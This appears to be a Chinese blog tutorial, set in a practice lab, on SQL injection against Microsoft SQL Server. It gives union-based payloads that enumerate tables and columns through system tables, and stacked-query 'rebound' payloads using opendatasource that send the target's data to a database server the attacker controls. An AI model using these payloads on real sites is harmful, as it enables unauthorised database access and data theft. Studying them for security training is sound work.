MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦

首先既然是注入,就要知道注入注入本質:把用戶輸入的內容當作代碼來執行

注入的兩個條件:

  1. 用戶能夠控制輸入
  2. 原本程序要執行的代碼,拼接了用戶輸入的數據

注入思路:

和MySQL一樣:

  1. 猜解字段數:用order by
  2. 利用聯合查詢,查出表對應的id
  3. 查找輸出點:這裡要注意每個字段數對應的字符類型
  4. 查詢系統自代表,得到表名,字段值

靶場演示:

一:猜解字段數:


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦

發現要用單引號閉合。

通過order by 查詢出字段數是4

二:聯合查詢找到輸出點:

語句: union all select null,null,null (用null是因為這裡並不知道字段的類型,和MySQL不同的是這裡的聯合查詢要是union all )


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦


經過嘗試得到每個字段類型

MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦

利用系統自帶表查詢表和字段


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦


從系統自帶表可以看出我們所需要東西:name xtype (='S'表示是系統自帶表;='U'表示是用戶創建的表)(id 也需要,在查詢字段的時候使用id代表每個表的表名的。)

所以這裡要做一下條件查詢:union all select id ,name,null from dbo.sysobjects where xtype='U'

需要注意的是:name不能加引號,要不會把name當作字符串來處理。


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦

通過系統自帶表column可以找到我們所需要的字段名:name (表示字段的name) id(對用表的id,這裡沒有表的name ,所以在查表名的時候要記住id。)

得到表名和對應的id ,我們來查詢字段名:

union all select 1,name,null from dbo.syscolumns where id=xxxx


MS sql 顯錯注入和反彈注入,疫情在家要努力學習哦

找到了字段名之後就可以:select 字段名 from 表名來查詢了。 還是要注意字段的類型。

好啦,mssql的顯錯注入就說到這。

但是如果網站關閉了回顯錯誤,就無法使用先錯注入來注入了。這時候就有一個解決辦法了,利用反彈技術,而反彈注入需要依靠opendatasource函數的支持。

反彈注入實際上相當於,讓目標服務器鏈接我們設定好的服務器,使目標數據庫的數據發送到我們的設定好的數據庫中。但是要注意,目標數據庫的字段要和設定好的字段數相同。

一:搭建數據庫

可以使用香港雲,免費使用二個月。

二:建立反彈鏈接:

;insert into opendatasource ('sqloledb','server=目標數據庫IP,端口號;uid=數據庫的用戶名;pwd=數據庫的密碼;database=數據庫名稱').庫名.dbo.test select *from admim

要注意開始的;這裡的分號表示執行一個新的語句,這裡又叫堆疊注入。

  1. 查詢表名:在設定數據庫創建表:字段為二 :id int 型;name char 型。

create table biao (id int , name char(255))

2.;insert into opendatasource ('sqloledb','server=目標數據庫IP,端口號;uid=數據庫的用戶名;pwd=數據庫的密碼;database=數據庫名稱').庫名.dbo.test select *from admim

.......database=數據庫名稱').庫名.dbo.test select id ,name from dbo.sysobjects

第一個 . 表示 連接,第二個 . 表示庫下的表,dbo表示權限


3.依次類推查詢到目標值。


分享到:


相關文章: